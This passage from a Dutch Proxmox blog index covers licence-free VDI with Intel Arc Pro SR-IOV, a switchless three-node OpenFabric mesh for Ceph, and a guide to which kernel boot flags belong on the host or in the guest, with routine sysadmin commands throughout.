gepubliceerd geval vinden van iemand die LLM-inference draait binnen een VM die aan een virtual function hangt.\nWat mensen werkelijk doen is veelzeggend: ze draaien het model in Docker op de host, en geven virtual functions aan VM\u0026rsquo;s voor desktops. Eén persoon die beide tegelijk doet rapporteert simpelweg dat \u0026ldquo;VRAM gets pretty tight.\u0026rdquo;\nWat het echte probleem is, en het is rekenkunde in plaats van driverondersteuning.\nEen virtual function krijgt een vaste plak lokaal geheugen — 8 GB op de B50, in firmware gezet. Die plak is het harde plafond voor gewichten plus KV-cache in die gast, en het groeit niet omdat de kaart meer heeft. Een 8B-model op FP16 is rond de 16 GB aan gewichten voordat je überhaupt enige context toevoegt, dus het past niet in een B50-virtual-function op welke driver dan ook. Kwantiseer naar Q4 en een 8B past in ongeveer 4 GB, wat een paar GB voor context overlaat — wat werkt, maar een heel eind van wat de kaart onverdeeld kan.\nDus de twee workloads concurreren om hetzelfde geheugen, en de deling wordt in firmware beslist voordat een van beide begint.\nAls AI de klus is, verdeel de kaart niet. Geef het hele ding door aan één VM — dezelfde hostpci0-passthrough die eerder in deze post voor de firmware-update werd gebruikt — of draai de container op de host en sla virtualisatie over voor die workload. Beide geven het model alle 16 GB en de volledige XMX-array.\nAls VDI de klus is, zijn virtual functions juist, en verwacht desktop-graphics in plaats van een inference-server achter elk. Hardware-versnelde desktops, videoweergave en encode werken. Daar is het mechanisme voor gedocumenteerd.\nDe moeite waard duidelijk te zeggen: afwezigheid van gepubliceerd bewijs is geen bewijs dat het faalt. De xe-driver legt compute bloot via Level Zero en OpenCL, en het is heel goed mogelijk dat een VF-ondersteunde gast die prima opstart. Maar niets van Intel zegt dat het gevalideerd is, niemand lijkt het werkend te hebben getoond, en het geheugenplafond beperkt de opbrengst zelfs als het wel zo is. Dat is niets om een plan op te bouwen.\nWat Het Nog Waard Is Twee virtual functions is twee hardware-versnelde Windows-desktops uit één kaart, zonder vGPU-licentie, zonder abonnement en zonder licentieserver. Op een hypervisor die niets kost om te draaien. Dat is genoeg om te bewijzen dat de aanpak werkt, wat de eerlijke klus voor een B50 is. Het is de onderkant van het assortiment.\nVoor een echte VDI-deployment zou ik de dual B60 specificeren.\nVeertien functions uit één slot — als elke die zich gedraagt als een enkele B60 — plaatst het in hetzelfde zitplaats-territorium als de NVIDIA-kaarten die voor deze workload verkocht worden, tegen een veel lagere prijs, en met niets om per gebruiker te licentiëren. Dat laatste deel is degene die zich opstapelt. NVIDIA\u0026rsquo;s vApps, vPC en RTX vWS worden allemaal per gelijktijdige gebruiker gelicentieerd, ofwel als jaarabonnement of als eeuwigdurende licentie die naast een vijfjarig support- en onderhoudsabonnement gekocht moet worden. Elke zitplaats is een regelpost, en die komt weer langs. Aan de Intel-kant is er geen equivalente regel. Je koopt de kaart.\nEn het mechanisme is het deel dat op de lange termijn ertoe doet. SR-IOV op de GPU is een PCIe-capability, geen producttier, dus het tmpfiles.d-bestand groeit gewoon mee met wat de kaart ook toestaat.\nDe vorm is één sriov_numvfs-write, dan een unbind en een bind voor elke function — dus twee functions is vijf regels, en de negen hierboven zijn vier functions gevraagd op een kaart die er twee levert. Zeven functions is vijftien regels. Een dual B60 is dertig, want elke die is zijn eigen physical function en krijgt zijn eigen sriov_numvfs-write.\nNiks anders verandert als je het opschaalt. Er verschijnt op geen enkel punt in dat bestand een licentieserver.\nReferenties Intel support — waarom de nieuwste Arc Pro B50-firmware 2 SR-IOV VF\u0026rsquo;s toont — de gezaghebbende uitspraak: SR-IOV officieel ingeschakeld vanaf graphics-firmware BMG__21,1162 in driver 32.0.101.8306, twee VF\u0026rsquo;s met elk een 8 GB VF Local Memory BAR op de B50, en het maximale VF-aantal en de BAR-grootte gezet op IFWI-niveau zonder publiek gereedschap om ze te veranderen Intel Community — \u0026ldquo;Why did the latest Intel Arc Pro B50 firmware nerf SR-IOV VFs from 12 to 2?\u0026rdquo; — de 12-VF-pre-officiële firmware, de 32.0.101.6979-rollback die het herstelt, en Intels redenering voor de lagere standaard Level1Techs — B60 SR-IOV-ondersteuning in de Arc Pro-drivers — veld-lspci-rapporten voor de B60, de igsc-firmware-update die de capability blootlegde, en waar de 24-dan-7-cijfers vandaan komen Level1Techs — B50, B60 of B70 voor SR-IOV — de gerapporteerde VF-aantallen per kaart en per firmware, bron voor de B70-rijen ASRock — Intel Arc Pro B65 Creator 32GB — de specificaties van de B65: 32 GB GDDR6, 20 compute units, 160 XMX-engines, 256-bit, PCIe 5.0 MAXSUN — Arc Pro B60 Dual 48G Turbo — de eigen uitspraak van de vendor dat de kaart \u0026ldquo;uses PCIe 5.0 x8 + x8 interfaces and runs efficiently on consumer platforms that support PCIe x16 lane bifurcation\u0026rdquo; vLLM — Fast and affordable LLM serving on Intel Arc Pro B-Series — het AI-verhaal op deze kaarten, en het feit dat het een Docker-op-bare-metal-verhaal is over vier en acht hele B60\u0026rsquo;s, zonder vermelding van SR-IOV of virtual functions Linux-kernel — Intel Xe-driver — de driver in gebruik op de kaart, per lspci -v tmpfiles.d(5) — het w-regeltype, en zijn \u0026ldquo;if the file exists\u0026rdquo;-voorwaarde die de volgorde hierboven dicteert NVIDIA Virtual GPU Software Packaging, Pricing and Licensing Guide — het gelicentieerde alternatief dat dit ontwerp vermijdt: vApps, vPC en RTX vWS allemaal per gelijktijdige gebruiker verkocht, als jaarabonnement of als eeuwigdurende licentie gebundeld met vijf jaar support en onderhoud Proxmox VE — PCI(e) Passthrough — host-side passthrough-vereisten ","permalink":"https://blogs.damiendye.uk/nl/proxmox/licence-free-vdi-intel-arc-pro-sriov/","summary":"Intels Arc Pro-kaarten doen SR-IOV native, zonder vGPU-licentie om te kopen — wat een licentievrije Windows-VDI op Proxmox werkelijk mogelijk maakt. De hele build op een B50, het Windows-first-bootstrap-probleem, waarom de firmware het op twee virtual functions begrenst, en hoeveel elke kaart in de B-serie je geeft.","title":"Licentievrije Windows-VDI op Proxmox met een Intel Arc Pro B50 — en de Firmwarelimiet Die Het Stopte"},{"content":"De switch die je niet koopt Een Proxmox-cluster van drie nodes met Ceph wil een snel netwerk tussen de nodes. Het gebruikelijke antwoord is een switch van 100 Gbit, en het gebruikelijke bezwaar is wat die kost.\nEr is voor drie nodes een ander antwoord: draad ze rechtstreeks aan elkaar in een driehoek en routeer eroverheen. Helemaal geen switch in het opslagpad.\nHet goedkoopste onderdeel in elk ontwerp is dat wat je niet koopt, en het is het enige dat nooit stukgaat.\nDat levert vier dingen op.\nDe kosten van de switch verdwijnen. Je hebt netwerkkaarten en drie kabels nodig, geen switch van 100 of 200 Gbit met het bijbehorende aantal poorten.\nHet datapad heeft geen enkel punt waar alles op stukloopt. Een switch die uitvalt of herstart neemt al het oost-westverkeer van het hele cluster mee. Nodes die rechtstreeks aan elkaar zijn gedraad kan het niet schelen wat er elders in het gebouw met een switch gebeurt.\nHet zware verkeer zit op eigen draden. Live migratie en Ceph-replicatie blijven op het mesh in plaats van te concurreren met kantoor- en beheerverkeer.\nUitbreiden is draadwerk, geen kwestie van poortbudget. Er is geen centrale bak die als plafond voor bandbreedte of aantal poorten optreedt, dus de fabric groeit zolang elke server een vrij PCIe-slot heeft. OpenFabric routeert zelf over nieuwe links.\nEn één eerlijke grens, want die doet meer ter zake dan de vier voordelen. Een volledig mesh heeft een kabel tussen elk paar nodes nodig. Drie nodes is drie kabels. Vier is zes. Vijf is tien. Het draadwerk groeit sneller dan het aantal nodes, en dit ontwerp overleeft een klein cluster niet zonder over te stappen op iets met switches, zoals leaf-spine.\nDrie nodes is precies waar een volledig mesh zin heeft. Daarboven, met twee meshpoorten per node, is wat je nog kunt bouwen een ring — en die heeft één ding nodig dat deze bouw verder juist vermijdt, hieronder behandeld.\nWat er wordt gebouwd Drie Proxmox VE-hosts, elk met twee eigen interfaces van 100 Gbit, in een driehoek gedraad zodat elke node twee directe buren heeft.\nProxmox SDN doet de routering. OpenFabric is het protocol: het rekent het beste pad over het mesh uit, en als er een kabel wordt losgetrokken of een link wegvalt, routeert het via het overgebleven pad. Niemand hoeft in te loggen.\nDe fabric woont in 10.10.10.0/24, gereserveerd voor het mesh en niets anders — geen beheer, geen gasten, geen opslagadressering, niets externs.\nNode Meshadres Meshinterfaces mesh1 10.10.10.1/32 nic1, nic2 mesh2 10.10.10.2/32 nic1, nic2 mesh3 10.10.10.3/32 nic1, nic2 Elke node krijgt een /32, geen stuk van het subnet. Dat is het punt van een gerouteerd mesh in plaats van een gebrugd. Het adres identificeert de node, OpenFabric kondigt het aan, en de twee fysieke links zijn slechts paden om hem te bereiken. Proxmox maakt een dummy-loopbackinterface om het adres te dragen.\nDe driehoek van drie nodes, en op welke NIC elke kabel landt switch van 2,5 Gbit beheer + client mesh1 10.10.10.1/32 mesh2 10.10.10.2/32 mesh3 10.10.10.3/32 DAC-01 nic1 ↔ nic1 DAC-03 nic2 ↔ nic2 DAC-02 mesh2 nic2 ↔ mesh3 nic1 nic0 nic0 nic0 Elke node bereikt de andere twee direct, dus elke meshhop is één hop. De gestreepte nic0-links zijn het aparte beheerpad van 2,5 Gbit — nooit deel van de fabric, en de reden dat je nog kunt inloggen als het mesh stuk is. Drie kabels, zes poorten, en twee paden naar elke node. Trek een willekeurige kabel los en elke node is nog bereikbaar — de twee resterende links vormen een keten waar OpenFabric omheen routeert. Het draadwerk Actieve glasvezel-DAC-kabels, in een driehoek, met jumboframes aan op beide meshinterfaces op elke node.\nKabel Van Naar DAC-01 mesh1 nic1 mesh2 nic1 DAC-02 mesh2 nic2 mesh3 nic1 DAC-03 mesh3 nic2 mesh1 nic2 Actieve glasvezel in plaats van koperen DAC, om twee redenen die over het rack gaan en niet over het netwerk:\nKabelbeheer. Actieve glasvezel-DAC\u0026rsquo;s zijn dunner en veel flexibeler dan koper, dus ze lopen netjes en stapelen zich niet op achter de servers. Luchtstroom. Minder kabelmassa achter de kast betekent minder verstoring van de luchtstroom van voor naar achter, en dat doet ertoe als er meerdere snelle links in dezelfde paar rackunits landen. Twee netwerken, niet één Het mesh is niet het enige netwerk, en het mag er ook geen worden.\nElke node heeft nic0 op een switch van 2,5 Gbit, aan Proxmox aangeboden als de brug vmbr0. Die draagt de webinterface, beheertoegang en clientverkeer. Het is ook het pad dat je gebruikt terwijl je de fabric bouwt, en daarom moet het onafhankelijk daarvan zijn.\nnic0 blijft met opzet buiten de fabric. Alleen nic1 en nic2 worden geselecteerd bij het aanmaken van de fabricnodes.\nHet mesh draagt drie dingen:\nCeph. Replicatie, herstel en backfill van node naar node voor de hyperconvergente opslag. Virtueel netwerk voor clients. VNets op VXLAN rekken gastnetwerken over alle drie de nodes, met het gerouteerde mesh als onderlaag. Corosync, als tweede pad. Verkeer voor clusterlidmaatschap loopt over het beheernetwerk en over het mesh, zodat quorum niet afhangt van het overleven van één van de twee. Wat op het beheernetwerk rijdt, wat op het mesh rijdt, en het ene ding op beide Beheernetwerk van 2,5 Gbit nic0 → vmbr0 → switch Webinterface van Proxmox Beheertoegang Verkeer naar clients Gerouteerd mesh van 100 Gbit nic1 + nic2 → directe DAC, geen switch Ceph-replicatie, herstel, backfill Virtuele clientnetwerken op VXLAN Live migratie Corosync — beide paden Clusterlidmaatschap hangt niet af van het overleven van één van beide netwerken. De scheiding ís het ontwerp. Beheer blijft bereikbaar in welke toestand de interfaces van 100 Gbit ook zijn, en dat maakt het veilig de fabric vanuit de webinterface te bouwen — en terug te draaien. Corosync is het enige dat op beide zit. Al het andere heeft precies één thuis — en beheertoegang is degene die moet blijven werken terwijl je aan de andere zit. De regel die het waard is op het wijzigingsticket te schrijven: beheer- en clienttoegang blijven altijd beschikbaar via de switch van 2,5 Gbit, in welke toestand de interfaces van 100 Gbit ook zijn.\nAlles via de webinterface Deze bouw gebeurt volledig in de webinterface van Proxmox. Dat is een bewuste keuze, geen beperking van het gereedschap.\nMet opzet niet gebruikt:\n/etc/network/interfaces met de hand bewerken. FRR-configuratiebestanden met de hand bewerken. vtysh als bouwmethode. Proxmox genereert de onderliggende netwerk- en routeringsconfiguratie uit de SDN-objecten die je definieert. Kan iets echt niet in de interface worden gezet, dan is dat het waard als voorwaarde te benoemen in plaats van stil op de opdrachtregel op te lossen. De volgende die de webinterface opent weet niet dat je dat hebt gedaan.\nUitvoer van de opdrachtregel staat hieronder alleen als bewijs, nooit als bouwstap.\nDe bouw 1. Open de webinterface van Proxmox en ga naar Datacentre → SDN → Fabrics.\n2. Voeg de fabric toe. Geef hem een naam, geef hem de meshprefix, en zet de timers.\nHello- en CSNP-intervallen van 1 werken de toestand zo snel mogelijk bij zodra er iets verandert, en dat is wat je op een fabric van deze omvang wilt. De kosten zijn meer gebabbel in het besturingsvlak. Onbelangrijk op drie nodes met elk twee links, een tweede gedachte waard als de fabric ooit groeit.\n3. Voeg elke node toe met Add node. Geef hem een adres uit het meshbereik en vink de interfaces aan die meedoen.\nMerk op wat niet is aangevinkt: nic0 blijft eruit, en vmbr0 houdt het beheeradres. Gebruik Create another voor de eerste twee nodes en Create op de laatste.\n4. Kijk het resultaat na voordat je het toepast.\nDrie nodes, drie adressen, nic1, nic2 op elk, allemaal gemarkeerd als new — er is nog niets weggeschreven.\n5. Pas de SDN-configuratie toe.\nEr staat een Dry-Run naast Apply als je liever eerst ziet wat het van plan is.\nWeten dat het gelukt is De statusweergave hoort zowel de zone- als de fabricregels ok te tonen op alle drie de nodes, en geen wachtende wijzigingen meer om toe te passen.\nKijk de fabric dan na vanuit het gezichtspunt van een node zelf. Eerst de routes — elke node hoort een /32 naar elk van de andere te hebben, en de kolom Via vertelt je welke buur hij gebruikt.\nDan de buren. Twee, allebei Up, op een driehoek van drie nodes.\nDan de interfaces, en daar komt de vorm van het geheel naar boven: dummy_Mesh als de loopback die het routeradres draagt, en nic1 en nic2 als Point-To-Point in plaats van broadcastsegmenten.\nBewijs het ten slotte van begin tot eind.\nGeen verlies, en gemiddelden van 0,134 ms en 0,141 ms. Beide buren zijn één directe hop weg, en dat is wat een driehoek je geeft.\nDe controle die het waard is en die geen schermafbeelding kan laten zien: trek één kabel los en bevestig dat alles nog bereikbaar is. Dat is de hele reden om voor een gerouteerd mesh te kiezen boven een paar punt-tot-puntlinks. Het is dan ook de enige test die uitmaakt.\nVoorbij drie nodes: de ring Een driehoek is een volledig mesh. Elke node heeft een directe kabel naar elke andere node, elke hop is één hop, en geen node draagt ooit verkeer dat niet van hemzelf is.\nDie eigenschap is wat twee meshpoorten per node je bij drie nodes opleveren, en het is precies wat je bij vier verliest. Niet een deel ervan. Alles. Een volledig mesh van vier nodes heeft drie poorten per stuk nodig. Met twee is het meeste wat je kunt draden een ring.\nEen ring verandert het verkeersmodel. Nodes die naast elkaar liggen hebben nog een directe kabel, maar nodes aan weerszijden van de ring niet — hun verkeer moet een tussenliggende node oversteken. En die node moet bereid zijn pakketten tussen zijn twee meshinterfaces door te sturen, en dat doet Linux standaard niet. De kernel documenteert ip_forward als “Forward Packets between interfaces” met een “Default: 0 (disabled)”.\nEen ring van vier nodes: nodes tegenover elkaar hebben geen kabel, dus één node stuurt voor ze door mesh1 10.10.10.1 mesh2 stuurt door mesh3 10.10.10.3 mesh4 10.10.10.4 mesh1 → mesh3 geen kabel ertussen dus het steekt mesh2 over doorvoernode stuurt door tussen nic1 en nic2 Volledig mesh bij 4 nodes 6 kabels, 3 poorten per node geen doorvoer, geen doorsturen Ring: 4 kabels, 2 poorten — en daarom ben je hier Twee van de zes nodeparen hebben geen directe kabel. Hun verkeer wordt door een buur gedragen, en dus dragen de links van die buur ook de Ceph-replicatie van andere nodes naast die van hemzelf — de prijs die de driehoek niet heeft. mesh1 naar mesh3 heeft geen kabel. Zijn verkeer steekt mesh2 of mesh4 over, en die node stuurt het alleen door omdat doorsturen aanstaat op de twee interfaces waarop het aankomt. Zet het aan voor de meshinterfaces, en alleen die:\n# /etc/sysctl.d/99-mesh-forwarding.conf net.ipv4.conf.nic1.forwarding = 1 net.ipv4.conf.nic2.forwarding = 1 sysctl --system Lees ze terug in plaats van het aan te nemen:\nsysctl net.ipv4.conf.nic1.forwarding net.ipv4.conf.nic2.forwarding De instelling per interface is hier de juiste omvang, en hij werkt op zichzelf. De globale net.ipv4.ip_forward is geen voorwaarde. De doorstuurbeslissing van de kernel leest de eigen waarde van de ontvangende interface:\n#define IN_DEV_FORWARD(in_dev) IN_DEV_CONF_GET((in_dev), FORWARDING) IN_DEV_CONF_GET geeft de instelling van dat apparaat terug, niet een EN met de globale. Zo sturen nic1 en nic2 doorgaand verkeer voor de fabric door, terwijl nic0 en vmbr0 precies blijven wat ze horen te zijn: hostinterfaces die niet routeren. De globale schakelaar aanzetten zou elke interface op de bak tot router maken, ook die naar je kantoornetwerk. Dat is niets wat dit ontwerp nodig heeft.\nEén ding om te weten over de globale IPv4-schakelaar, ook al zet je hem niet: net.ipv4.ip_forward zet in bulk, en daarom waarschuwt de kerneldocumentatie dat hem wijzigen “resets all configuration parameters to their default state”. Schrijft iets anders op de host hem ooit, dan overschrijft dat deze waarden per interface. Goed om te weten voordat je een middag besteedt aan waarom doorgaand verkeer is gestopt.\nIPv6 is de uitzondering, en het is de enige plek waar de globale schakelaar thuishoort. De kerneldocumentatie zegt het rechtstreeks onder conf/all/forwarding:\nEnable global IPv6 forwarding between all interfaces. IPv4 and IPv6 work differently here; the force_forwarding flag must be used to control which interfaces may forward packets.\nEr is dus geen IPv6-equivalent van de nette aanpak per interface hierboven. Draagt de fabric IPv6, dan zet je doorsturen globaal aan en begrens je het daarna met force_forwarding, gedocumenteerd als “Enable forwarding on this interface only — regardless of the setting on conf/all/forwarding”. Merk op dat hetzelfde overschrijven omgekeerd geldt: conf.all.forwarding op 0 zetten reset force_forwarding op elke interface.\nDe bouw hierboven laat de IPv6-prefix van de fabric leeg, dus niets daarvan geldt hier — het doet alleen ter zake als je er een toevoegt.\nMerk op wat doorsturen niet verandert: OpenFabric kondigde de /32 van elke node al aan en rekende het pad over de ring al uit. Doorsturen is de ontbrekende toestemming, niet het ontbrekende verstand. De routeringstabel had de hele tijd al gelijk. De kernel weigerde simpelweg als router op te treden.\nWat de ring kost, vergeleken met de driehoek:\nDoorgaand verkeer. Op een ring van vier nodes steken de twee diagonale paren een tussenliggende node over, dus hun verkeer verbruikt ook de linkbandbreedte van die node. Ceph merkt dit als eerste, want replicatie is van allen naar allen in plaats van van buur naar buur. Een extra hop latency op die paden, boven op de gebruikelijke cijfers onder de milliseconde van het ontwerp zonder switch. Minder ruimte voor uitval. Eén gebroken link maakt van een ring een keten: nog volledig verbonden, maar met langere paden en meer doorgaand verkeer. Een tweede breuk splitst het cluster. Een driehoek verdraagt één breuk zonder enig doorgaand verkeer. En het wordt slechter op een manier die makkelijker te tekenen dan te beschrijven is. Voeg een vijfde node toe en de helft van elk nodepaar in het cluster hangt af van iemand anders die doorstuurt:\nEen ring van vijf nodes: de helft van de nodeparen hangt nu af van iemand anders die doorstuurt mesh1 mesh2 mesh3 mesh4 mesh5 kabel — direct, één hop geen kabel — een buur moet doorsturen Vijf nodes, elk twee poorten 10 nodeparen in totaal 5 hebben een directe kabel 5 niet, en gaan via een buur Elke node stuurt nu verkeer door dat niet van hemzelf is. In plaats daarvan een volledig mesh? 10 kabels, en 4 poorten per node — twee NIC's extra in elke server, en daar houdt het ontwerp op. Bij drie nodes gaat er niets via een ander. Bij vier twee paren. Bij vijf de helft — en één breuk maakt elk pad langer. Tien nodeparen, vijf kabels. De gestreepte lijnen zijn paren zonder kabel ertussen — elk daarvan is Ceph-verkeer dat door de links van een derde node rijdt. Het volledige mesh dat dat zou vermijden wil vier poorten per server. Dat is het echte plafond van dit ontwerp, en het is niet het routeringsprotocol. OpenFabric gaat er prima mee om. Het is dat het aantal poorten per node vast is, dus voorbij drie nodes maakt elke nieuwe bak meer van jouw verkeer tot iemand anders zijn doorgaand verkeer.\nEn de eerlijke aantekening, want die doet ter zake bij een bouw die tot hier alleen de webinterface heeft gebruikt: een sysctl is geen actie in de webinterface. Volgens de regel die eerder is gesteld maakt dat het een voorwaarde om te benoemen in plaats van iets om stil op de opdrachtregel op te lossen — schrijf het in het draaiboek, want de volgende die het SDN-paneel opent ziet een gezonde fabric en geen enkele hint dat een ring van een bestand in /etc/sysctl.d afhangt.\nTerugdraaien Verwijderen is de bouw in omgekeerde volgorde, in dezelfde interface: verwijder de SDN-objecten die voor het mesh zijn gemaakt, pas de configuratie toe, en bevestig dat de beheertoegang onaangeroerd is.\nDie laatste stap is waarom nic0 en de switch van 2,5 Gbit bestaan. Als het terugdraaien van het mesh je de webinterface zou kunnen kosten, was het ontwerp al verkeerd voordat je begon.\nVoordat je begint Beheertoegang is echt onafhankelijk van het mesh. Kijk het na, neem het niet aan. Alle drie de nodes zijn gezond voordat er een SDN-wijziging komt. Nodenamen, interfacenamen en het draadwerk staan opgeschreven, want nic1 op de ene host die nic2 op de andere is, is een slechte middag. Jumboframes staan op beide meshinterfaces, en de MTU houdt rekening met de overhead van VXLAN op de onderlaag. Het meshbereik is gereserveerd en nergens anders in gebruik. Bronnen Proxmox VE — Software-Defined Network — de documentatie over SDN Fabrics. Fabrics “provide automated routing between nodes in a cluster”, OpenFabric is “based on IS-IS and optimized for the spine-leaf topology common in data centers”, elke node heeft een uniek Router-ID nodig, en “a dummy \u0026rsquo;loopback\u0026rsquo; interface with the router-id is automatically created” Proxmox VE — Cluster Manager — het netwerk van Corosync en redundante links, achter het ontwerp met lidmaatschap over twee paden Proxmox VE — Deploy Hyper-Converged Ceph Cluster — de netwerkverwachtingen voor een hyperconvergent cluster Linux kernel — IP sysctl documentation — ip_forward en de standaard van 0, de doorstuurbesturing per interface, en de waarschuwing dat het wijzigen van de globale schakelaar de configuratie per interface reset ","permalink":"https://blogs.damiendye.uk/nl/proxmox/proxmox-routed-mesh-sdn-openfabric/","summary":"Drie Proxmox-nodes rechtstreeks aan elkaar gedraad in een driehoek, met OpenFabric-routering over het mesh en Ceph plus VXLAN-clientnetwerken erbovenop. Volledig in de webinterface gebouwd, en eerlijk over waar het ontwerp ophoudt te schalen.","title":"Een Proxmox-mesh zonder switch met SDN OpenFabric — Ceph en clientnetwerken zonder 100G-switch"},{"content":"Het Probleem Met Gekopieerde Bootregels Zoek naar Proxmox-afstelling en je vindt één lange GRUB_CMDLINE_LINUX-regel, gepresenteerd als een geheel, zonder enige aanwijzing van welke flags waar van toepassing zijn.\nDat doet er meer toe dan het klinkt. De hypervisor en de gast lossen tegengestelde problemen op.\nDe host wil deterministische toegang tot echte hardware: IOMMU-gedrag, PCIe-link-toestanden, fysieke idle-toestanden. De gast wil ophouden te doen alsof hij überhaupt hardware heeft — zijn timers zijn benaderingen, zijn idle-toestanden zijn fictie, en zijn stalls zijn doorgaans andermans scheduler. Dezelfde flag kan dan ook juist zijn aan de ene kant, zinloos aan de andere, en af en toe schadelijk.\nHieronder staat waar elk werkelijk thuishoort.\nWaar elke kernel-bootflag thuishoort Alleen host echte hardware woont hier iommu=pt amd_iommu=pgtbl_v2 pcie_acs_override=… pcie_aspm=off pci=pcie_bus_perf → pcie_bus_safe bij USB4 processor.max_cstate=1 + intel_idle.max_cstate op Intel amd_pstate=disable zet ook een governor De gast heeft geen PCIe-links, geen C-states en geen cpufreq. Alleen gast hou op te doen alsof het hardware is cpuidle.off=1 gast-idle-toestanden zijn fictie nmi_watchdog=0 een gedescheduleerde vCPU triggert hem softlockup_panic=0 de stall was de schuld van de host Laat kvm-clock met rust. Forceer geen tsc of hpet — de counters zijn niet de jouwe. Op de host betekenen deze drie allemaal iets anders, en twee ervan kosten je iets echts. Beide — verschillende redenen dezelfde flag, aparte beslissing mitigations=off host: gast-naar-host-lekken gast: procesisolatie default_hugepagesz + hugepages host: ondersteunt gast-RAM gast: ondersteunt een applicatie kies één laag, niet beide watchdog_thresh / nowatchdog host: ruis die je accepteerde gast: nooit betrouwbaar \"Beide\" betekent niet dat je het op beide plekken zou moeten zetten. Het betekent dat de beslissing twee keer gemaakt moet worden. Geen van beide — deze doen niets amd_iommu=on geen geldige optie; de kernel logt \"Unknown option - 'on'\" en gaat door consoleblank=0 al de kernel-standaard Als een gekopieerde bootregel een van deze bevat, is hij nooit geverifieerd tegen /proc/cmdline — wat de goedkoopste beschikbare controle is, en degene die ook de verkeerde-bootloader-fout vangt. De flags in omloop, gesorteerd. Twee van de populaire doen aan geen van beide kanten iets, en de watchdog-rij is een echte afweging in plaats van een regel. Eerst: Bewerk Je Wel Het Juiste Bestand? Een Proxmox-installatie op ZFS-root boot met systemd-boot, waar /etc/default/grub door niemand wordt gelezen. Het bewerken en herstarten levert geen verandering en geen fout op. Dat is een frustrerend uur.\nproxmox-boot-tool status # tells you which bootloader is in use # systemd-boot: edit /etc/kernel/cmdline, then proxmox-boot-tool refresh # GRUB: edit /etc/default/grub, then update-grub Hoe dan ook, verifieer in plaats van aan te nemen:\ncat /proc/cmdline En aan de GRUB-kant, gebruik GRUB_CMDLINE_LINUX_DEFAULT, niet GRUB_CMDLINE_LINUX. De laatste geldt voor elke boot-entry inclusief recovery — en recovery is precies wanneer je standaardgedrag wilt, geen uitgeschakelde mitigations en vastgepinde C-states.\nDe Host-Regel IOMMU en passthrough iommu=pt amd_iommu=pgtbl_v2 pcie_acs_override=downstream,multifunction iommu=pt zet de IOMMU in passthrough-modus: apparaten die aan VM\u0026rsquo;s worden toegewezen krijgen vertaling, host-native apparaten omzeilen vertaling. Het is echt en het wordt afgehandeld in arch/x86/kernel/pci-dma.c, dat iommu_set_default_passthrough(true) aanroept. De kernel documenteert het als equivalent aan iommu.passthrough=1.\namd_iommu=on is geen ding. Dit is de meest gekopieerde niet-bestaande parameter in Proxmox-gidsen. De parse_amd_iommu_options() van de kernel accepteert fullflush, force_enable, off, force_isolation, pgtbl_v1, pgtbl_v2, irtcachedis, nohugepages en v2_pgsizes_only. Al het andere landt hier:\npr_notice(\u0026#34;Unknown option - \u0026#39;%s\u0026#39;\\n\u0026#34;, str); AMD-Vi is standaard ingeschakeld wanneer de firmware het adverteert. Controleer je eigen log en je zult zien dat de parameter nooit de klus deed waarvoor hij werd gecrediteerd:\ndmesg | grep -i \u0026#34;AMD-Vi\\|Unknown option\u0026#34; amd_iommu=pgtbl_v2 is geldig — het selecteert het v2-DMA-page-table-formaat, dat de CPU-page-table-structuur deelt in plaats van AMD\u0026rsquo;s eigen te gebruiken. Twee dingen om te weten: de documentatie beperkt het tot de DMA-API, wat betekent de eigen apparaatdomeinen van de host in plaats van de VFIO-domeinen die voor passthrough worden gebruikt; en het faalt veilig met een logregel waar je op zou moeten controleren:\nif (amd_iommu_pgtable == PD_MODE_V2) { if (!amd_iommu_v2_pgtbl_supported()) { pr_warn(\u0026#34;Cannot enable v2 page table for DMA-API. Fallback to v1.\\n\u0026#34;); amd_iommu_pgtable = PD_MODE_V1; } } Dus het is de moeite waard te meten op een node met zware host-side IO, en de moeite waard te verifiëren dat je het werkelijk kreeg.\npcie_acs_override=downstream,multifunction is Proxmox\u0026rsquo; out-of-tree patch. Het splitst IOMMU-groepen door isolatie te beweren die de hardware niet adverteert, wat is wat passthrough mogelijk maakt op consumentenborden. Het is ook, precies, de kernel iets onwaars vertellen over de topologie. Prima op een machine waarvan je de gasten evenzeer vertrouwt als de host. Niet prima anders. Er is meer over waarom in het IOMMU-tax-artikel.\nLatency en jitter pcie_aspm=off processor.max_cstate=1 amd_pstate=disable pcie_aspm=off houdt PCIe-links uit laag-vermogenstoestanden zodat een aankomende IO nooit op een wacht om te ontwaken. Het kost een paar watt per link en verwijdert een latency-staart die moeilijk te diagnosticeren is. Zie PCIe ASPM en passthrough.\nprocessor.max_cstate=1 begrenst ACPI-idle op C1. Let op de driver: dit is de processor/acpi_idle-knop, dus op Intel heb je ook intel_idle.max_cstate=1 nodig, want intel_idle gaat voor. Op AMD is dit de juiste.\nEr is een echt tegenargument. Diepe slaap op inactieve cores is wat het package thermische en vermogensruimte geeft om de drukke te boosten, dus alles op C1 vastpinnen kan je piek-single-thread-frequentie verlagen terwijl het de idle-opname verhoogt. Op een latency-gevoelige host is die afweging het doorgaans waard. Op een host die doorvoer najaagt misschien niet. Meet het in plaats van het te erven.\namd_pstate=disable valt terug op acpi-cpufreq. De moeite waard de gedocumenteerde alternatieven te kennen voordat je ernaar grijpt: passive (driver vraagt een prestatieniveau), active (de EPP-driver, met een voorkeur voor prestatie of efficiëntie), en guided. active met een prestatievoorkeur, of passive plus de performance-governor, haalt vaak dezelfde latency terwijl het de fijnere controle van CPPC behoudt. En als je het wel uitschakelt, zet dan bewust een governor — belanden op acpi-cpufreq met schedutil kan een stap terug zijn.\nGeheugen default_hugepagesz=1G hugepages=64 default_hugepagesz=1G op zichzelf reserveert niets. De kernel documenteert het als het instellen van \u0026ldquo;the size of the default HugeTLB page… the default hugetlb size used for shmget(), mmap() and mounting hugetlbfs\u0026rdquo; — een eenheid, geen allocatie. De allocatie komt van hugepages=, gedocumenteerd als \u0026ldquo;Number of HugeTLB pages to allocate at boot\u0026rdquo;.\nDat doet er veel meer toe voor 1 GiB dan 2 MiB-pagina\u0026rsquo;s, want aaneengesloten 1 GiB-regio\u0026rsquo;s zijn feitelijk onverkrijgbaar zodra de host up is geweest en het geheugen gefragmenteerd is. Boot is je enige betrouwbare kans.\nDaarna moet de gast zich aanmelden (hugepages: 1024 in de VM-config). Gereserveerde pagina\u0026rsquo;s die niets gebruikt zijn gewoon geheugen dat je niet terug kunt krijgen, en je verliest ballooning en KSM op de VM\u0026rsquo;s die ze gebruiken.\nDe veiligheidsafweging mitigations=off Dit is niet één schakelaar. De kernel breidt het uit tot een lijst, en op een hypervisor zijn dit de entries die ertoe doen:\nl1tf=off mds=off mmio_stale_data=off kvm.nx_huge_pages=off gather_data_sampling=off retbleed=off spec_rstack_overflow=off nospectre_v2 nopti 